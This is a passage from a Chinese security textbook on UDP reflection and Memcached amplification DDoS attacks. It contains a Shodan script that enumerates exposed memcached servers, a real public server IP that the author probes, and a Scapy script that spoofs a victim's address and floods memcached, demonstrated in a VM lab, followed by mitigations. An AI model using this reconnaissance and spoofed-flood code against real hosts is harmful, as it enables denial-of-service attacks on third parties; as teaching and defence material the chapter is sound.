购买
下载掌阅APP,畅读海量书库
立即打开
畅读海量书库
扫码下载掌阅APP

2.4.5 UDP-Based Amplification Attack

1.Amplification Attack简介

Amplification Attack是一种危害非常严重的DDoS攻击形式,它是一种被放大了的反射攻击(Reflection Attack)如图2-17所示是一个典型的Amplification Attack过程,攻击者向僵尸网络发出攻击指令,僵尸网络中的僵尸主机根据攻击指令,向某种类型的公开服务器(例如DNS服务器、FTP服务器等)发出伪造的查询请求。在这些查询请求中,唯一伪造的信息就是把源地址替换成了被攻击服务器的地址,这样所有接到僵尸主机发出查询请求的服务器,都会把响应发给被攻击的目标服务器。当这种响应足够多时,会把被攻击目标的网络带宽占满,进而把目标服务器的资源耗尽,最终达到DDoS攻击的目标。

图2-17 Amplification Attack视图

从上面的描述中可见,Amplification Attack造成的危害是非常严重的。以DNS Ampli-fication Attack为例,如图2-18所示,它的特点和局限性如下所示。

图2-18 DNS Amplification Attack视图

·Amplification Attack利用的都是UDP协议,它不像TCP协议还需要认证过程,所以包括源地址在内的很多信息是可以伪造的。

·Amplification Attack利用的服务器都运行着基于UDP协议的服务,例如DNS服务。

·Amplification Attack利用的服务器通常都是公开的,也就是僵尸网络、公开DNS服务器和目标服务器从网络连接上讲都是连通的。

·所有僵尸主机发出的请求从表面上看都是正常的DNS Query请求。

·DNS Amplification Attack攻击的对象不是那些公开的DNS服务器,而是DNS服务器所服务的目标服务器。

·DNS Amplification Attack需要大量的具有相同功能的DNS服务器。

2.Bandwidth Amplification Factors简介

分布式反射型DoS(Distributed Reflective Denial-of-Service,DRDoS)也是DDoS攻击的一种,它基于公开可以访问的、具有足够带宽放大因子(BAF)的UDP服务器,来大量消耗目标服务器的各种资源,以达到攻击目的。

Amplification Attack最主要的特点就是放大。相较于僵尸网络到公开服务器的请求流量,从公开服务器到目标服务器的攻击流量是被放大的,而且根据不同类型的服务,这种流量被放大的程度也是不一样的,从几倍到几万倍不等。这里所指的被放大的程度就是BAF,可以想象,BAF越大,DDoS攻击效果也就越明显,危害程度也就越高。

在Amplification Attack中,有可能被利用的服务包括很多种,例如Domain Name System(DNS)、Network Time Protocol(NTP)、Trivial File Transfer Protocol(TFTP)、Mem-cached等。当然,每种服务的BAF也不尽相同,表2-3整理了一些比较常见的协议和服务以及所对应的BAF。

表2-3 常见协议与服务的BAF

3.Memcached Amplification Attack简介

从上面有关BAF的介绍中我们可以看出,Memcached Amplification Attack的BAF是最高的,甚至可以达到几万倍。由于Memcached Amplification Attack的危害性巨大,下面我将对它做些简要介绍。

如图2-19所示的是一个Memcached Amplification Attack的典型过程。首先,攻击者向僵尸网络发出攻击指令。僵尸网络中的僵尸主机根据攻击指令,向互联网上公开的Memcached服务器发出伪造的查询请求,在这些查询请求中,源地址被替换成了被攻击服务器的地址,这样所有接到僵尸主机发出的查询请求的服务器,都会把响应发给被攻击的目标服务器。当这种响应足够多时,就会把被攻击目标的网络带宽占满,把目标服务器的资源耗尽,从而达到DDoS攻击的目的。这个过程和我们上文所讲的类似,只不过这种攻击的BAF更大,造成的危害也更大。

4.公开服务器简介

在反射攻击和Amplification Attack中,最重要的部分是大量的公开服务器,例如公开的DNS服务器、公开的Memcached服务器等。如果无法定位大量的公开服务器,就无法生成大量的攻击流量,也就无法对目标服务器造成DDoS攻击。那么攻击者是如何获得这些公开服务器的列表和清单的呢?下面我将针对这个问题进行简要介绍。

图2-19 Memcached Amplification Attack视图

(1)Shodan

Shodan( https://www.shodan.io )是互联网上最“可怕”的搜索引擎,通过它可以找到大量的公开服务器。CNNMoney在2013年发表的一篇有关Shodan的文章( https://money.cnn.com/2013/04/08/technology/security/shodan/index.html ),其中写道,虽然目前人们都认为谷歌是最强劲的搜索引擎,但Shodan才是互联网上最可怕的搜索引擎。与谷歌不同的是,Shodan不是在网上搜索网址,而是直接进入互联网的背后通道。Shodan可以说是一款“黑暗”的谷歌,一刻不停地寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等。每个月Shodan都会在大约5亿个服务器上不停地搜集信息,搜集到的信息量是极其惊人的。凡是连接到互联网的红绿灯、安全摄像头、家庭自动化设备以及加热系统等都会被轻易地搜索到。Shodan的使用者曾发现过一个水上公园的控制系统、一个加油站,甚至是一个酒店的葡萄酒冷却器。而网站的研究者也曾使用Shodan定位到了核电站的指挥和控制系统及一个粒子回旋加速器。

Shodan由John Matherly于2009年创建,它主要针对直接暴露在互联网上的各种资源,例如Web服务器(端口:80,8080,443,8443)、FTP服务器(端口:21)、SSH服务器(端口:22)、Telnet服务器(端口:23)、SNMP服务器(端口:161)、IMAP(端口:143,993)、SMTP(端口:25)、RTSP(端口:554)、Memcached(端口:11211)等,尝试采集一些关键信息。

Shodan在Memcached Amplification Attack中扮演着极其重要的角色,攻击者可以在Shodan上查到大量网上可以直接利用的memcached服务器。使用者只需在Shodan网站上注册,然后就可以利用它提供的API(例如Python、Ruby、PHP、C#、Java、Node.js、Perl、PowerShell、Rust、REST API等)进行搜索,如果是付费客户,还可以进行条件检索,例如按照端口、国家、城市、组织等条件进行筛选。在这里给大家举个例子。

首先,我们编写一个利用Shodan接口的Python程序,内容如下。


zeeman@attacker:~$ cat test4shodan.py
import shodan
SHODAN_API_KEY = "TYPE_YOUR_KEY_HERE"
api = shodan.Shodan(SHODAN_API_KEY)
try:
    # Search Shodan
    results = api.search('11211')
    # Show the results
    print('Results found: {}'.format(results['total']))
    for result in results['matches']:
        print('IP: {}'.format(result['ip_str']))
        print(result['data'])
except shodan.APIError, e:
    print('Error: {}'.format(e))
zeeman@attacker:~$

运行这个脚本,可以看到返回的结果总共有31 034个,这个数字代表是在互联网上直接开放11211端口(包括TCP和UDP)的服务器的大致个数。因为不是付费用户,我们无法使用按端口进行过滤的功能,所以最终结果不一定完全准确,但通过利用它们已经足以搞一次Memcached Amplification Attack了。在下面的运行结果中,我们随便找了个查到的memcached,可以看到其版本是1.4.15。这是个比较老的版本,UDP端口还是默认开放的,而且从配置上看,也的确是开放了UDP 11211端口(memcached官方是从版本1.5.6开始默认关闭UDP端口的,所以我们在这里查到的大多数memcached版本都是1.5.6版本之前的)。


zeeman@attacker:~$ sudo python test4shodan.py
Results found: 31034
...
IP: 122.114.186.94
stats
STAT pid 1935
STAT uptime 7171758
STAT time 1551663777
STAT version 1.4.15
...
STAT total_items 5
...
END
stats settings
STAT maxbytes 104857600
STAT maxconns 1000
STAT tcpport 11211
STAT udpport 11211
...
STAT item_size_max 1048576
...
END
zeeman@attacker:~$

为了确认脚本查询结果的正确性,笔者也进行了验证,发现它的确是一个开放可以使用的memcached服务器,不过在这里笔者需要声明一下,这个测试结果具有时效性,不排除后期管理员对memcached做了升级,或者采取了其他措施,使得这个服务不再可用。


zeeman@attacker:~$ telnet 122.114.186.94 11211
Trying 122.114.186.94...
Connected to 122.114.186.94.
Escape character is '^]'.
stats settings
STAT maxbytes 104857600
...
END
zeeman@attacker:~$

(2)Memcrashed

通过Shodan,我们可以得到大量的公开服务器清单和列表,但还是不太方便。下面我们再介绍一个工具——Memcrashed( https://github.com/649/Memcrashed-DDoS-Exploit ),它可以把从Shodan获取信息,以及组织进攻的功能整合在一起,攻击者可以很方便地利用它来开展一次Memcached Amplification Attack。

默认情况下,Memcrashed发起的是stats命令,发出的请求大概在10个字节左右,返回的数据大概在1500字节到几百K字节之间,BAF在150到几万之间。Memcrashed是一个相对危险的工具,需谨慎使用。

5.Memcached Amplification Attack的防御手段

对于Amplification Attack,我们可以采取一些有针对性的防御手段,下面整理了一些需要注意的内容。

·避免把没有必要的服务(例如DNS、Memcached)暴露在互联网上。

·避免开放UDP端口(例如Memcached的UDP端口11211)。

·加大服务的访问权限的控制,例如只对部分受限的地址开放访问权限,不对互联网上所有的地址开放权限。

·加大对网络环境的安全治理,对那些包含仿冒源地址的数据包进行必要的安全处理,例如直接丢弃等。

·加强对反射攻击、Amplification Attack的监控,采取必要的防御措施。

为了便于大家更深入地了解Amplification Attack,以及采取有针对性的防御手段,我们可以参考下面的例子。在这个例子中,攻击者利用我们环境中的memcached对目标服务器进行Memcached Amplification Attack。


测试环境如下所示。
虚拟化:VirtualBox 5.2
虚拟机:attacker(操作系统:Ubuntu 16.04.5 LTS, 相关软件:Python、Scapy, IP地址:192.
    168.43.121)
虚拟机:amplifier(操作系统:Ubuntu 16.04.5 LTS, 相关软件:memcached, IP地址:192.
    168.43.5)
虚拟机:target(操作系统:Ubuntu 16.04.5 LTS, 相关软件:Apache2, IP地址:192.168.43.182)

Scapy是一个功能强大的交互式数据包操作工具,它能够伪造或解码众多协议的数据包,可以发送并捕获它们,还可以匹配请求和回复等。Scapy可以轻松处理包括扫描、跟踪路由、探测、单元测试、攻击或网络发现在内的大多数任务。它可以取代hping、arpspoof、arp-sk、arping、p0f,甚至包含nmap、tcpdump的部分功能。

在虚拟机amplifier上,首先确认memcached的运行状态,以及UDP端口11211是否为打开状态,并且开放给所有IP地址。只有满足所有这些条件,memcached才会成为整个攻击链中的一环。


zeeman@amplifier:~$ sudo service memcached status
[sudo] password for zeeman:
● memcached.service - memcached daemon
   Loaded: loaded (/lib/systemd/system/memcached.service; enabled; vendor preset: enabled)
   Active: active (running) since Mon 2019-03-04 17:48:51 CST; 15min ago
Main PID: 1002 (memcached)
    Tasks: 6
   Memory: 3.1M
      CPU: 98ms
   CGroup: /system.slice/memcached.service
           └─1002 /usr/bin/memcached -vv -m 64 -U 11211 -u memcache

zeeman@amplifier:~$ netstat -aun
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:11211           0.0.0.0:*
udp6       0      0 :::11211                :::*

在虚拟机attacker上,执行如下攻击脚本,对虚拟机target发起攻击。脚本中的source-Address是虚拟机target的IP地址,sourcePort是虚拟机target的端口,targetAddress是运行memcached进程的服务器地址,targetPort是进程memcached的默认端口,data是尝试发送的命令。这里只是示意性地执行了memcached的stats命令,并没有返回一个很大的结果,但也能看到出现一定效果了。如下脚本可以同时启动三个线程,但我们屏蔽了两个,所以只启动了一个,这是一个仅供参考的示意性脚本。


zeeman@attacker:~$ cat memcached_client.py
from scapy.all import *
import threading

sm = threading.Semaphore(3)

def attack(targetAddress):
    data = '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n'
    sourceAddress = '192.168.43.182'
    sourcePort = 80
    targetPort = 11211

    sm.acquire()
    pkt = IP(dst=targetAddress,src=sourceAddress)/UDP(sport=sourcePort,dport=tar
        getPort)/data
    send(pkt,count=1000000)
    sm.release()

if __name__ == '__main__':
    s1 = threading.Thread(target=attack,args=('192.168.43.5',))
    s1.start()
zeeman@attacker:~$ sudo python memcached_client.py

在虚拟机amplifier上,检查传输的数据包状况,可以看到数据包都是从虚拟机target的80端口到虚拟机amplifier上的memcached的,虚拟机amplifier也是把stats的结果返回给虚拟机target的80端口。


zeeman@amplifier:~$ sudo tcpdump -nn -XX -vvv udp port 11211
tcpdump: listening on enp0s3, link-type EN10MB (Ethernet), capture size 262144 bytes
18:15:37.370300 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto UDP (17), length 43)
    192.168.43.182.80 > 192.168.43.5.11211: [udp sum ok] UDP, length 15
        0x0000:  0800 2736 68a5 0800 273f b531 0800 4500  ..'6h...'?.1..E.
        0x0010:  002b 0001 0000 4011 a2b5 c0a8 2bb6 c0a8  .+....@.....+...
        0x0020:  2b05 0050 2bcb 0017 a9a1 0000 0000 0001  +..P+...........
        0x0030:  0000 7374 6174 730d 0a00 0000            ..stats.....
18:15:37.371088 IP (tos 0x0, ttl 64, id 38003, offset 0, flags [DF], proto UDP (17), length 1217)
    192.168.43.5.11211 > 192.168.43.182.80: [bad udp cksum 0xdcca -> 0x1f58!] UDP, length 1189
        0x0000:  0800 278f a359 0800 2736 68a5 0800 4500  ..'..Y..'6h...E.
        0x0010:  04c1 9473 4000 4011 c9ac c0a8 2b05 c0a8  ...s@.@.....+...
        0x0020:  2bb6 2bcb 0050 04ad dcca 0000 0000 0001  +.+..P..........
        0x0030:  0000 5354 4154 2070 6964 2031 3030 320d  ..STAT.pid.1002.
        0x0040:  0a53 5441 5420 7570 7469 6d65 2031 3630  .STAT.uptime.160
        0x0050:  350d 0a53 5441 5420 7469 6d65 2031 3535  5..STAT.time.155
        0x0060:  3136 3934 3533 350d 0a53 5441 5420 7665  1694535..STAT.ve
        0x0070:  7273 696f 6e20 312e 342e 3235 2055 6275  rsion.1.4.25.Ubu
        0x0080:  6e74 750d 0a53 5441 5420 6c69 6265 7665  ntu..STAT.libeve
        0x0090:  6e74 2032 2e30 2e32 312d 7374 6162 6c65  nt.2.0.21-stable
        0x00a0:  0d0a 5354 4154 2070 6f69 6e74 6572 5f73  ..STAT.pointer_s
        0x00b0:  697a 6520 3634 0d0a 5354 4154 2072 7573  ize.64..STAT.rus
        0x00c0:  6167 655f 7573 6572 2031 2e37 3732 3030  age_user.1.77200
        0x00d0:  300d 0a53 5441 5420 7275 7361 6765 5f73  0..STAT.rusage_s
        0x00e0:  7973 7465 6d20 362e 3532 3030 3030 0d0a  ystem.6.520000..
        0x00f0:  5354 4154 2063 7572 725f 636f 6e6e 6563  STAT.curr_connec
        0x0100:  7469 6f6e 7320 390d 0a53 5441 5420 746f  tions.9..STAT.to
        0x0110:  7461 6c5f 636f 6e6e 6563 7469 6f6e 7320  tal_connections.
        0x0120:  3130 0d0a 5354 4154 2063 6f6e 6e65 6374  10..STAT.connect
        0x0130:  696f 6e5f 7374 7275 6374 7572 6573 2031  ion_structures.1
        0x0140:  300d 0a53 5441 5420 7265 7365 7276 6564  0..STAT.reserved
        0x0150:  5f66 6473 2032 300d 0a53 5441 5420 636d  _fds.20..STAT.cm
        0x0160:  645f 6765 7420 300d 0a53 5441 5420 636d  d_get.0..STAT.cm
        0x0170:  645f 7365 7420 300d 0a53 5441 5420 636d  d_set.0..STAT.cm
zeeman@amplifier:~$

在虚拟机target上运行iftop,可以看到来自虚拟机amplifier的实时流量已经达到3.77MB了,攻击流量已经被放大很多倍了。


zeeman@target:~$ sudo iftop -nN
interface: enp0s3
IP address is: 192.168.43.182
MAC address is: 08:00:27:8f:a3:59
...
192.168.43.182    => 192.168.43.5        4.50Kb  4.50Kb  4.36Kb
                  <=                     3.77Mb  3.87Mb  3.73Mb
...
zeeman@amplifier:~$

在Memcached Amplification Attack的整个链条中,有几个环节可以进行防御。例如在运行memcached的服务器上,把UDP的端口11211关闭,这样可以把memcached的这个放大源关闭,使攻击者无法对攻击目标进行流量攻击。具体操作为修改memcached的配置文档,在memcached最新的版本中,关闭UDP端口默认关闭。


zeeman@amplifier:~$ cat /etc/memcached.conf
...
# memcached default config file...
# Default connection port is 11211
-p 11211
...
zeeman@amplifier:~$ sudo service memcached status
● memcached.service - memcached daemon
   Loaded: loaded (/lib/systemd/system/memcached.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2019-03-05 00:15:55 CST; 22s ago
Main PID: 1860 (memcached)
    Tasks: 6
   Memory: 1.0M
      CPU: 19ms
   CGroup: /system.slice/memcached.service
           └─1860 /usr/bin/memcached -vv -m 64 -p 11211 -u memcache
Mar 05 00:15:55 amplifier systemd-memcached-wrapper[1860]: slab class  35: chunk 
    size    202152 perslab       5
...
zeeman@amplifier:~$

在运行memcached的服务器上,除了关闭UDP端口外,我们还可以调整另外一个参数,即memcached所监听的IP地址。在配置文件中将参数调为-l,把监听的IP地址调整在一定范围内的,而不是不面向所有的IP地址。这样可以有效防止对memcached的非法访问,具体配置如下所示。


zeeman@amplifier:~$ sudo cat /etc/memcached.conf
# memcached default config file
# 2003 - Jay Bonci <jaybonci@debian.org>
...
# Specify which IP address to listen on. The default is to listen on all IP addresses
# This parameter is one of the only security measures that memcached has, so make 
  sure
# it's listening on a firewalled interface.
-l 127.0.0.1
...
zeeman@amplifier:~$

在虚拟机target上,在带宽容量满足的前提下,还可以考虑利用iptables对入站流量进行过滤,把这种memcached放大流量进行屏蔽。 jtO0YWrlCCbBqn5tWdx5OVH6o+NZL3Sb10S6BgTW4JBNNo6p+6TsEW6dhzCg/XP8


zeeman@target:~$ sudo iptables -I INPUT -p udp --sport 11211 -j DROP
zeeman@target:~$ sudo iptables -nvL
Chain INPUT (policy ACCEPT 193 packets, 18108 bytes)
pkts bytes target     prot opt in     out     source               destination
62263   76M DROP       udp  --  *      *       0.0.0.0/0            0.0.0.0/0
            udp spt:11211

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 134 packets, 16115 bytes)
pkts bytes target     prot opt in     out     source               destination
zeeman@target:~$

点击中间区域
呼出菜单
上一章
目录
下一章
×